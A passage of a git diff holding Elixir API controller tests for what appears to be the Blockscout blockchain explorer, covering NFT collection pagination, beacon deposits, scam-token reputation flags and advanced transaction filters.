+ |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + token = insert(:token, type: "ERC-404") + insert(:scam_badge_to_address, address_hash: token.contract_address_hash) + + amount = Enum.random(16..50) + + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-404", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + + request = conn |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-721"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + request = conn |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-1155"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + request = conn |> get("/api/v2/addresses/#{address.hash}/nft/collections", %{type: "ERC-404"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "get 200 on non existing address", %{conn: conn, endpoint: endpoint} do + address = build(:address) + + request = get(conn, endpoint.(address.hash)) + + response = json_response(request, 200) + assert %{"items" => [], "next_page_params" => nil} = response + end + + test "get 422 on invalid address", %{conn: conn, endpoint: endpoint} do + request = get(conn, endpoint.("0x")) + + json_response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = json_response + end + + test "get paginated erc-721 collection", %{conn: conn, endpoint: endpoint} do + address = insert(:address) + + insert_list(51, :address_current_token_balance_with_token_id) + insert_list(51, :token_instance) + + ctbs = + for _ <- 0..50 do + token = insert(:token, type: "ERC-721") + amount = Enum.random(16..50) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-721", + token_id: nil, + token_contract_address_hash: token.contract_address_hash, + value: amount + ) + |> Repo.preload([:token]) + + token_instances = + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + |> Enum.sort_by(&{&1.token_contract_address_hash, &1.token_id}, :desc) + + {current_token_balance, token_instances} + end + |> Enum.sort_by(&elem(&1, 0).token_contract_address_hash, :desc) + + request = get(conn, endpoint.(address.hash)) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, endpoint.(address.hash), response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, ctbs) + end + + test "get paginated erc-1155 collection", %{conn: conn, endpoint: endpoint} do + address = insert(:address) + + insert_list(51, :address_current_token_balance_with_token_id) + insert_list(51, :token_instance) + + collections = + for _ <- 0..50 do + token = insert(:token, type: "ERC-1155") + amount = Enum.random(16..50) + + token_instances = + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + |> Enum.sort_by(& &1.token_id, :desc) + + {token, amount, token_instances} + end + |> Enum.sort_by(&elem(&1, 0).contract_address_hash, :desc) + + request = get(conn, endpoint.(address.hash)) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, endpoint.(address.hash), response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, collections) + end + + test "test filters", %{conn: conn, endpoint: endpoint} do + address = insert(:address) + + insert_list(51, :address_current_token_balance_with_token_id) + insert_list(51, :token_instance) + + ctbs = + for _ <- 0..50 do + token = insert(:token, type: "ERC-721") + amount = Enum.random(16..50) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-721", + token_id: nil, + token_contract_address_hash: token.contract_address_hash, + value: amount + ) + |> Repo.preload([:token]) + + token_instances = + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + |> Enum.sort_by(& &1.token_id, :desc) + + {current_token_balance, token_instances} + end + |> Enum.sort_by(&elem(&1, 0).token_contract_address_hash, :desc) + + collections = + for _ <- 0..50 do + token = insert(:token, type: "ERC-1155") + amount = Enum.random(16..50) + + token_instances = + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + |> Enum.sort_by(& &1.token_id, :desc) + + {token, amount, token_instances} + end + |> Enum.sort_by(&elem(&1, 0).contract_address_hash, :desc) + + filter = %{"type" => "ERC-721"} + request = get(conn, endpoint.(address.hash), filter) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, endpoint.(address.hash), Map.merge(response["next_page_params"], filter)) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, ctbs) + + filter = %{"type" => "ERC-1155"} + request = get(conn, endpoint.(address.hash), filter) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, endpoint.(address.hash), Map.merge(response["next_page_params"], filter)) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, collections) + end + + test "return all collections", %{conn: conn, endpoint: endpoint} do + address = insert(:address) + + insert_list(51, :address_current_token_balance_with_token_id) + insert_list(51, :token_instance) + + collections_721 = + for _ <- 0..50 do + token = insert(:token, type: "ERC-721") + amount = Enum.random(16..50) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-721", + token_id: nil, + token_contract_address_hash: token.contract_address_hash, + value: amount + ) + |> Repo.preload([:token]) + + token_instances = + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + |> Enum.sort_by(& &1.token_id, :desc) + + {current_token_balance, token_instances} + end + |> Enum.sort_by(&elem(&1, 0).token_contract_address_hash, :desc) + + collections_1155 = + for _ <- 0..50 do + token = insert(:token, type: "ERC-1155") + amount = Enum.random(16..50) + + token_instances = + for _ <- 0..(amount - 1) do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash, + owner_address_hash: address.hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..100_000) + ) + |> Repo.preload([:token]) + + %Instance{ti | current_token_balance: current_token_balance} + end + |> Enum.sort_by(& &1.token_id, :desc) + + {token, amount, token_instances} + end + |> Enum.sort_by(&elem(&1, 0).contract_address_hash, :desc) + + request = get(conn, endpoint.(address.hash)) + assert response = json_response(request, 200) + + request_2nd_page = get(conn, endpoint.(address.hash), response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + request_3rd_page = get(conn, endpoint.(address.hash), response_2nd_page["next_page_params"]) + assert response_3rd_page = json_response(request_3rd_page, 200) + + assert response["next_page_params"] != nil + assert response_2nd_page["next_page_params"] != nil + assert response_3rd_page["next_page_params"] == nil + + assert Enum.count(response["items"]) == 50 + assert Enum.count(response_2nd_page["items"]) == 50 + assert Enum.count(response_3rd_page["items"]) == 2 + + compare_item(Enum.at(collections_721, 50), Enum.at(response["items"], 0)) + compare_item(Enum.at(collections_721, 1), Enum.at(response["items"], 49)) + + compare_item(Enum.at(collections_721, 0), Enum.at(response_2nd_page["items"], 0)) + compare_item(Enum.at(collections_1155, 50), Enum.at(response_2nd_page["items"], 1)) + compare_item(Enum.at(collections_1155, 2), Enum.at(response_2nd_page["items"], 49)) + + compare_item(Enum.at(collections_1155, 1), Enum.at(response_3rd_page["items"], 0)) + compare_item(Enum.at(collections_1155, 0), Enum.at(response_3rd_page["items"], 1)) + end + end + + describe "/addresses/{address_hash}/beacon/deposits" do + if Application.compile_env(:explorer, :chain_type) == :ethereum do + test "get empty list on non-existing address", %{conn: conn} do + address = build(:address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/beacon/deposits") + response = json_response(request, 200) + + assert %{"items" => [], "next_page_params" => nil} = response + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/addresses/invalid/beacon/deposits") + response = json_response(request, 422) + + assert %{ + "errors" => [ + %{ + "detail" => "Invalid format. Expected ~r/^0x([A-Fa-f0-9]{40})$/", + "source" => %{"pointer" => "/address_hash_param"}, + "title" => "Invalid value" + } + ] + } = response + end + + test "get deposits", %{conn: conn} do + address = insert(:address) + + deposits = insert_list(51, :beacon_deposit, from_address: address) + + request = get(conn, "/api/v2/addresses/#{address.hash}/beacon/deposits") + assert response = json_response(request, 200) + + request_2nd_page = get(conn, "/api/v2/addresses/#{address.hash}/beacon/deposits", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, deposits) + end + else + test "returns an error about chain type", %{conn: conn} do + request = get(conn, "/api/v2/addresses/address/beacon/deposits") + assert response = json_response(request, 404) + assert %{"message" => "Endpoint not available for current chain type"} = response + end + end + end + + defp compare_item(%Address{} = address, json) do + assert Address.checksum(address.hash) == json["hash"] + assert to_string(address.transactions_count) == json["transactions_count"] + end + + defp compare_item(%Transaction{} = transaction, json) do + assert to_string(transaction.hash) == json["hash"] + assert transaction.block_number == json["block_number"] + assert to_string(transaction.value.value) == json["value"] + assert Address.checksum(transaction.from_address_hash) == json["from"]["hash"] + assert Address.checksum(transaction.to_address_hash) == json["to"]["hash"] + end + + defp compare_item(%InternalTransaction{} = internal_transaction, json) do + assert internal_transaction.block_number == json["block_number"] + assert to_string(internal_transaction.gas) == json["gas_limit"] + assert internal_transaction.index == json["index"] + assert to_string(internal_transaction.transaction_hash) == json["transaction_hash"] + assert Address.checksum(internal_transaction.from_address_hash) == json["from"]["hash"] + assert Address.checksum(internal_transaction.to_address_hash) == json["to"]["hash"] + end + + defp compare_item(%Block{} = block, json) do + assert to_string(block.hash) == json["hash"] + assert block.number == json["height"] + end + + defp compare_item(%CurrentTokenBalance{} = ctb, json) do + assert to_string(ctb.value) == json["value"] + assert (ctb.token_id && to_string(ctb.token_id)) == json["token_id"] + compare_item(ctb.token, json["token"]) + end + + defp compare_item(%CoinBalance{} = cb, json) do + assert to_string(cb.value.value) == json["value"] + assert cb.block_number == json["block_number"] + + assert Jason.encode!(Repo.get_by(Block, number: cb.block_number).timestamp) =~ + String.replace(json["block_timestamp"], "Z", "") + end + + defp compare_item(%Token{} = token, json) do + assert Address.checksum(token.contract_address_hash) == json["address_hash"] + assert to_string(token.symbol) == json["symbol"] + assert to_string(token.name) == json["name"] + assert to_string(token.type) == json["type"] + assert to_string(token.decimals) == json["decimals"] + assert (token.holder_count && to_string(token.holder_count)) == json["holders_count"] + assert Map.has_key?(json, "exchange_rate") + end + + defp compare_item(%Log{} = log, json) do + assert log.index == json["index"] + assert to_string(log.data) == json["data"] + assert Address.checksum(log.address_hash) == json["address"]["hash"] + assert to_string(log.transaction_hash) == json["transaction_hash"] + assert json["block_number"] == log.block_number + assert json["block_hash"] == to_string(log.block_hash) + end + + defp compare_item(%Withdrawal{} = withdrawal, json) do + assert withdrawal.index == json["index"] + end + + defp compare_item(%Instance{token: %Token{} = token} = instance, json) do + token_type = token.type + value = to_string(value(token.type, instance)) + id = to_string(instance.token_id) + metadata = instance.metadata + token_address_hash = Address.checksum(token.contract_address_hash) + app_url = instance.metadata["external_url"] + animation_url = instance.metadata["animation_url"] + image_url = instance.metadata["image_url"] + token_name = token.name + + assert %{ + "token_type" => ^token_type, + "value" => ^value, + "id" => ^id, + "metadata" => ^metadata, + "owner" => nil, + "token" => %{"address_hash" => ^token_address_hash, "name" => ^token_name, "type" => ^token_type}, + "external_app_url" => ^app_url, + "animation_url" => ^animation_url, + "image_url" => ^image_url, + "is_unique" => nil + } = json + end + + defp compare_item({%CurrentTokenBalance{token: token} = ctb, token_instances}, json) do + token_type = token.type + token_address_hash = Address.checksum(token.contract_address_hash) + token_name = token.name + amount = to_string(ctb.distinct_token_instances_count || ctb.value) + + assert Enum.count(json["token_instances"]) == @instances_amount_in_collection + + token_instances + |> Enum.take(@instances_amount_in_collection) + |> Enum.with_index() + |> Enum.each(fn {instance, index} -> + compare_token_instance_in_collection(instance, Enum.at(json["token_instances"], index)) + end) + + assert %{ + "token" => %{"address_hash" => ^token_address_hash, "name" => ^token_name, "type" => ^token_type}, + "amount" => ^amount + } = json + end + + defp compare_item(%BeaconDeposit{} = deposit, json) do + index = deposit.index + transaction_hash = to_string(deposit.transaction_hash) + block_hash = to_string(deposit.block_hash) + block_number = deposit.block_number + pubkey = to_string(deposit.pubkey) + withdrawal_credentials = to_string(deposit.withdrawal_credentials) + signature = to_string(deposit.signature) + from_address_hash = Address.checksum(deposit.from_address_hash) + + if deposit.withdrawal_address_hash do + withdrawal_address_hash = Address.checksum(deposit.withdrawal_address_hash) + + assert %{ + "index" => ^index, + "transaction_hash" => ^transaction_hash, + "block_hash" => ^block_hash, + "block_number" => ^block_number, + "pubkey" => ^pubkey, + "withdrawal_credentials" => ^withdrawal_credentials, + "withdrawal_address" => %{"hash" => ^withdrawal_address_hash}, + "signature" => ^signature, + "from_address" => %{"hash" => ^from_address_hash} + } = json + else + assert %{ + "index" => ^index, + "transaction_hash" => ^transaction_hash, + "block_hash" => ^block_hash, + "block_number" => ^block_number, + "pubkey" => ^pubkey, + "withdrawal_credentials" => ^withdrawal_credentials, + "withdrawal_address" => nil, + "signature" => ^signature, + "from_address" => %{"hash" => ^from_address_hash} + } = json + end + end + + defp compare_item({token, amount, token_instances}, json) do + token_type = token.type + token_address_hash = Address.checksum(token.contract_address_hash) + token_name = token.name + amount = to_string(amount) + + assert Enum.count(json["token_instances"]) == @instances_amount_in_collection + + token_instances + |> Enum.take(@instances_amount_in_collection) + |> Enum.with_index() + |> Enum.each(fn {instance, index} -> + compare_token_instance_in_collection(instance, Enum.at(json["token_instances"], index)) + end) + + assert %{ + "token" => %{"address_hash" => ^token_address_hash, "name" => ^token_name, "type" => ^token_type}, + "amount" => ^amount + } = json + end + + defp compare_item(%TokenTransfer{} = token_transfer, json, allow_nil_method? \\ false) do + assert Address.checksum(token_transfer.from_address_hash) == json["from"]["hash"] + assert Address.checksum(token_transfer.to_address_hash) == json["to"]["hash"] + assert to_string(token_transfer.transaction_hash) == to_string(json["transaction_hash"]) + assert json["timestamp"] != nil + + if not allow_nil_method? do + assert json["method"] != nil + end + + assert to_string(token_transfer.block_hash) == json["block_hash"] + assert token_transfer.log_index == json["log_index"] + assert check_total(Repo.preload(token_transfer, [{:token, :contract_address}]).token, json["total"], token_transfer) + end + + defp compare_token_instance_in_collection(%Instance{token: %Token{} = token} = instance, json) do + token_type = token.type + value = to_string(value(token.type, instance)) + id = to_string(instance.token_id) + metadata = instance.metadata + app_url = instance.metadata["external_url"] + animation_url = instance.metadata["animation_url"] + image_url = instance.metadata["image_url"] + + assert %{ + "token_type" => ^token_type, + "value" => ^value, + "id" => ^id, + "metadata" => ^metadata, + "owner" => nil, + "token" => nil, + "external_app_url" => ^app_url, + "animation_url" => ^animation_url, + "image_url" => ^image_url, + "is_unique" => nil + } = json + end + + defp value("ERC-721", _), do: 1 + defp value(_, nft), do: nft.current_token_balance.value + + defp check_paginated_response(first_page_resp, second_page_resp, list) do + assert Enum.count(first_page_resp["items"]) == 50 + assert first_page_resp["next_page_params"] != nil + compare_item(Enum.at(list, 50), Enum.at(first_page_resp["items"], 0)) + compare_item(Enum.at(list, 1), Enum.at(first_page_resp["items"], 49)) + + assert Enum.count(second_page_resp["items"]) == 1 + assert second_page_resp["next_page_params"] == nil + compare_item(Enum.at(list, 0), Enum.at(second_page_resp["items"], 0)) + end + + # with the current implementation no transfers should come with list in totals + def check_total(%Token{type: nft}, json, _token_transfer) when nft in ["ERC-721", "ERC-1155"] and is_list(json) do + false + end + + def check_total(%Token{type: nft}, json, token_transfer) when nft in ["ERC-1155"] do + json["token_id"] in Enum.map(token_transfer.token_ids, fn x -> to_string(x) end) and + json["value"] == to_string(token_transfer.amount) + end + + def check_total(%Token{type: nft}, json, token_transfer) when nft in ["ERC-721"] do + json["token_id"] in Enum.map(token_transfer.token_ids, fn x -> to_string(x) end) + end + + def check_total(_, _, _), do: true +end diff --git a/apps/block_scout_web/test/block_scout_web/controllers/api/v2/advanced_filter_controller_test.exs b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/advanced_filter_controller_test.exs new file mode 100644 index 000000000000..aeef6eb025df --- /dev/null +++ b/apps/block_scout_web/test/block_scout_web/controllers/api/v2/advanced_filter_controller_test.exs @@ -0,0 +1,1180 @@ +defmodule BlockScoutWeb.API.V2.AdvancedFilterControllerTest do + use BlockScoutWeb.ConnCase + + alias Explorer.Chain.SmartContract + alias Explorer.Chain.{AdvancedFilter, Data, Hash} + alias Explorer.{Factory, TestHelper} + + describe "/advanced_filters" do + test "get token-transfers with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + transaction = insert(:transaction) |> with_block() + + insert(:token_transfer, transaction: transaction) + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/advanced-filters", %{"transaction_types" => "ERC-20,ERC-404,ERC-721,ERC-1155"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + + assert response == + conn + |> get("/api/v2/advanced-filters", %{"transaction_types" => "ERC-20,ERC-404,ERC-721,ERC-1155"}) + |> json_response(200) + end + + test "get smart-contract with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + transaction = insert(:transaction) |> with_block() + + tt = insert(:token_transfer, transaction: transaction) + insert(:scam_badge_to_address, address_hash: tt.token_contract_address_hash) + + request = + conn + |> put_req_cookie("show_scam_tokens", "true") + |> get("/api/v2/advanced-filters", %{"transaction_types" => "ERC-20,ERC-404,ERC-721,ERC-1155"}) + + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "scam" + + request = conn |> get("/api/v2/advanced-filters", %{"transaction_types" => "ERC-20,ERC-404,ERC-721,ERC-1155"}) + response = json_response(request, 200) + + assert response["items"] == [] + end + + test "get token-transfers with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + transaction = insert(:transaction) |> with_block() + + insert(:token_transfer, transaction: transaction) + + request = conn |> get("/api/v2/advanced-filters", %{"transaction_types" => "ERC-20,ERC-404,ERC-721,ERC-1155"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "get token-transfers with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + transaction = insert(:transaction) |> with_block() + tt = insert(:token_transfer, transaction: transaction) + insert(:scam_badge_to_address, address_hash: tt.token_contract_address_hash) + + request = conn |> get("/api/v2/advanced-filters", %{"transaction_types" => "ERC-20,ERC-404,ERC-721,ERC-1155"}) + response = json_response(request, 200) + + assert List.first(response["items"])["token"]["reputation"] == "ok" + end + + test "empty list", %{conn: conn} do + request = get(conn, "/api/v2/advanced-filters") + assert response = json_response(request, 200) + assert response["items"] == [] + assert response["next_page_params"] == nil + end + + test "get and paginate advanced filter (transactions split between pages)", %{conn: conn} do + first_transaction = :transaction |> insert() |> with_block() + insert_list(3, :token_transfer, transaction: first_transaction) + + for i <- 1..3 do + insert(:internal_transaction, + transaction: first_transaction, + block_hash: first_transaction.block_hash, + index: i, + block_index: i + ) + end + + insert_list(51, :transaction) |> with_block() + + request = get(conn, "/api/v2/advanced-filters") + assert response = json_response(request, 200) + request_2nd_page = get(conn, "/api/v2/advanced-filters", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + check_paginated_response(AdvancedFilter.list(), response["items"], response_2nd_page["items"]) + end + + test "get and paginate advanced filter (token transfers split between pages)", %{conn: conn} do + first_transaction = :transaction |> insert() |> with_block() + insert_list(3, :token_transfer, transaction: first_transaction) + + for i <- 1..3 do + insert(:internal_transaction, + transaction: first_transaction, + block_hash: first_transaction.block_hash, + index: i, + block_index: i + ) + end + + second_transaction = :transaction |> insert() |> with_block() + insert_list(50, :token_transfer, transaction: second_transaction, block_number: second_transaction.block_number) + + request = get(conn, "/api/v2/advanced-filters") + assert response = json_response(request, 200) + request_2nd_page = get(conn, "/api/v2/advanced-filters", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(AdvancedFilter.list(), response["items"], response_2nd_page["items"]) + end + + test "get and paginate advanced filter (batch token transfers split between pages)", %{conn: conn} do + first_transaction = :transaction |> insert() |> with_block() + insert_list(3, :token_transfer, transaction: first_transaction) + + for i <- 1..3 do + insert(:internal_transaction, + transaction: first_transaction, + block_hash: first_transaction.block_hash, + index: i, + block_index: i + ) + end + + second_transaction = :transaction |> insert() |> with_block() + + insert_list(5, :token_transfer, + transaction: second_transaction, + block_number: second_transaction.block_number, + token_type: "ERC-1155", + token_ids: 0..10 |> Enum.to_list(), + amounts: 10..20 |> Enum.to_list() + ) + + request = get(conn, "/api/v2/advanced-filters") + assert response = json_response(request, 200) + request_2nd_page = get(conn, "/api/v2/advanced-filters", response["next_page_params"]) + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(AdvancedFilter.list(), response["items"], response_2nd_page["items"]) + end + + test "get and paginate advanced filter (internal transactions split between pages)", %{conn: conn} do + first_transaction = :transaction |> insert() |> with_block() + insert_list(3, :token_transfer, transaction: first_transaction) + + for i <- 1..3 do + insert(:internal_transaction, + transaction: first_transaction, + block_hash: first_transaction.block_hash, + index: i, + block_index: i + ) + end + + second_transaction = :transaction |> insert() |> with_block() + + for i <- 1..50 do + insert(:internal_transaction, + transaction: second_transaction, + block_hash: second_transaction.block_hash, + index: i, + block_index: i + ) + end + + request = get(conn, "/api/v2/advanced-filters") + assert response = json_response(request, 200) + request_2nd_page = get(conn, "/api/v2/advanced-filters", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + check_paginated_response(AdvancedFilter.list(), response["items"], response_2nd_page["items"]) + end + + test "filter by transaction_type", %{conn: conn} do + 30 |> insert_list(:transaction) |> with_block() + + transaction = insert(:transaction) |> with_block() + + for token_type <- ~w(ERC-20 ERC-404 ERC-721 ERC-1155), + token = insert(:token, type: token_type), + _ <- 0..4 do + insert(:token_transfer, + transaction: transaction, + token_type: token_type, + token: token, + token_contract_address_hash: token.contract_address_hash, + token_contract_address: token.contract_address + ) + end + + transaction = :transaction |> insert() |> with_block() + + for i <- 1..30 do + insert(:internal_transaction, + transaction: transaction, + block_hash: transaction.block_hash, + index: i, + block_index: i + ) + end + + for transaction_type_filter_string <- + ~w(COIN_TRANSFER COIN_TRANSFER,ERC-404 ERC-721,ERC-1155 ERC-20,COIN_TRANSFER,ERC-1155) do + transaction_type_filter = transaction_type_filter_string |> String.split(",") + request = get(conn, "/api/v2/advanced-filters", %{"transaction_types" => transaction_type_filter_string}) + assert response = json_response(request, 200) + + assert Enum.all?(response["items"], fn item -> String.upcase(item["type"]) in transaction_type_filter end) + + if response["next_page_params"] do + request_2nd_page = + get( + conn, + "/api/v2/advanced-filters", + Map.merge(%{"transaction_types" => transaction_type_filter_string}, response["next_page_params"]) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + assert Enum.all?(response_2nd_page["items"], fn item -> + String.upcase(item["type"]) in transaction_type_filter + end) + + check_paginated_response( + AdvancedFilter.list(transaction_types: transaction_type_filter), + response["items"], + response_2nd_page["items"] + ) + end + end + end + + test "filter by methods", %{conn: conn} do + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + transaction = :transaction |> insert() |> with_block() + + smart_contract = build(:smart_contract) + + abi = + %{ + "constant" => false, + "inputs" => [%{"name" => "x", "type" => "uint64"}, %{"name" => "y", "type" => "address"}], + "name" => "getAccess", + "outputs" => [], + "payable" => false, + "stateMutability" => "nonpayable", + "type" => "function" + } + + [parsed_method] = ABI.parse_specification([abi]) + + insert(:contract_method, + abi: abi, + identifier: parsed_method.method_id + ) + + contract_address = + insert(:address, + hash: address_hash(), + verified: true, + contract_code: Factory.contract_code_info().bytecode, + smart_contract: smart_contract + ) + + method_id1_string = "0xa9059cbb" + method_id2_string = "0xa0712d68" + method_id3_string = "0x3078f114" + method_id4_string = "0x40993b26" + + {:ok, method1} = Data.cast(method_id1_string <> "ab0ba0") + {:ok, method2} = Data.cast(method_id2_string <> "ab0ba0") + {:ok, method3} = Data.cast(method_id3_string <> "ab0ba0") + {:ok, method4} = Data.cast(method_id4_string <> "ab0ba0") + + for i <- 1..5 do + insert(:internal_transaction, + transaction: transaction, + to_address_hash: contract_address.hash, + to_address: contract_address, + block_hash: transaction.block_hash, + index: i, + block_index: i, + input: method1 + ) + end + + for i <- 6..10 do + insert(:internal_transaction, + transaction: transaction, + to_address_hash: contract_address.hash, + to_address: contract_address, + block_hash: transaction.block_hash, + index: i, + block_index: i, + input: method2 + ) + end + + 5 + |> insert_list(:transaction, to_address_hash: contract_address.hash, to_address: contract_address, input: method2) + |> with_block() + + 5 + |> insert_list(:transaction, to_address_hash: contract_address.hash, to_address: contract_address, input: method3) + |> with_block() + + method3_transaction = + :transaction + |> insert(to_address_hash: contract_address.hash, to_address: contract_address, input: method3) + |> with_block() + + method4_transaction = + :transaction + |> insert(to_address_hash: contract_address.hash, to_address: contract_address, input: method4) + |> with_block() + + 5 |> insert_list(:token_transfer, transaction: method3_transaction) + 5 |> insert_list(:token_transfer, transaction: method4_transaction) + + request = get(conn, "/api/v2/advanced-filters", %{"methods" => "0xa0712d68,0x3078f114"}) + assert response = json_response(request, 200) + + assert Enum.all?(response["items"], fn item -> + String.slice(item["method"], 0..9) in [method_id2_string, method_id3_string] + end) + + assert Enum.count(response["items"]) == 21 + end + + test "filter by age", %{conn: conn} do + [_, transaction_a, _, transaction_b, _] = + for i <- 0..4 do + tx = :transaction |> insert() |> with_block(status: :ok) + + insert(:internal_transaction, + transaction: tx, + index: i + 1, + block_index: i + 1, + block_hash: tx.block_hash, + block: tx.block + ) + + insert(:token_transfer, + transaction: tx, + block_number: tx.block_number, + log_index: i, + block_hash: tx.block_hash, + block: tx.block + ) + + tx + end + + request = + get(conn, "/api/v2/advanced-filters", %{ + "age_from" => DateTime.to_iso8601(transaction_a.block.timestamp), + "age_to" => DateTime.to_iso8601(transaction_b.block.timestamp) + }) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 9 + end + + test "filter by from address include", %{conn: conn} do + address = insert(:address) + + for i <- 0..4 do + transaction = :transaction |> insert() |> with_block() + + if i < 2 do + :transaction |> insert(from_address_hash: address.hash, from_address: address) |> with_block() + + insert(:internal_transaction, + transaction: transaction, + from_address_hash: address.hash, + from_address: address, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + from_address_hash: address.hash, + from_address: address, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + else + insert(:internal_transaction, + transaction: transaction, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, transaction: transaction, block_number: transaction.block_number, log_index: i) + end + end + + request = get(conn, "/api/v2/advanced-filters", %{"from_address_hashes_to_include" => to_string(address.hash)}) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 6 + end + + test "filter by from address exclude", %{conn: conn} do + address = insert(:address) + + for i <- 0..4 do + transaction = :transaction |> insert() |> with_block() + + if i < 4 do + :transaction |> insert(from_address_hash: address.hash, from_address: address) |> with_block() + + insert(:internal_transaction, + transaction: transaction, + from_address_hash: address.hash, + from_address: address, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, + from_address_hash: address.hash, + from_address: address, + transaction: transaction, + block_number: transaction.block_number, + log_index: i + ) + else + insert(:internal_transaction, + transaction: transaction, + block_hash: transaction.block_hash, + index: i + 1, + block_index: i + 1 + ) + + insert(:token_transfer, transaction: transaction, block_number: transaction.block_number, log_index: i) + end + end + + request = get(conn, "/api/v2/advanced-filters", %{"from_address_hashes_to_exclude" => to_string(address.hash)}) + + assert response = json_response(request, 200) + + assert Enum.count(response["items"]) == 7 + end + + test "filter by from address include and exclude", %{conn: conn} do + address_to_include = insert(:address) + address_to_exclude = 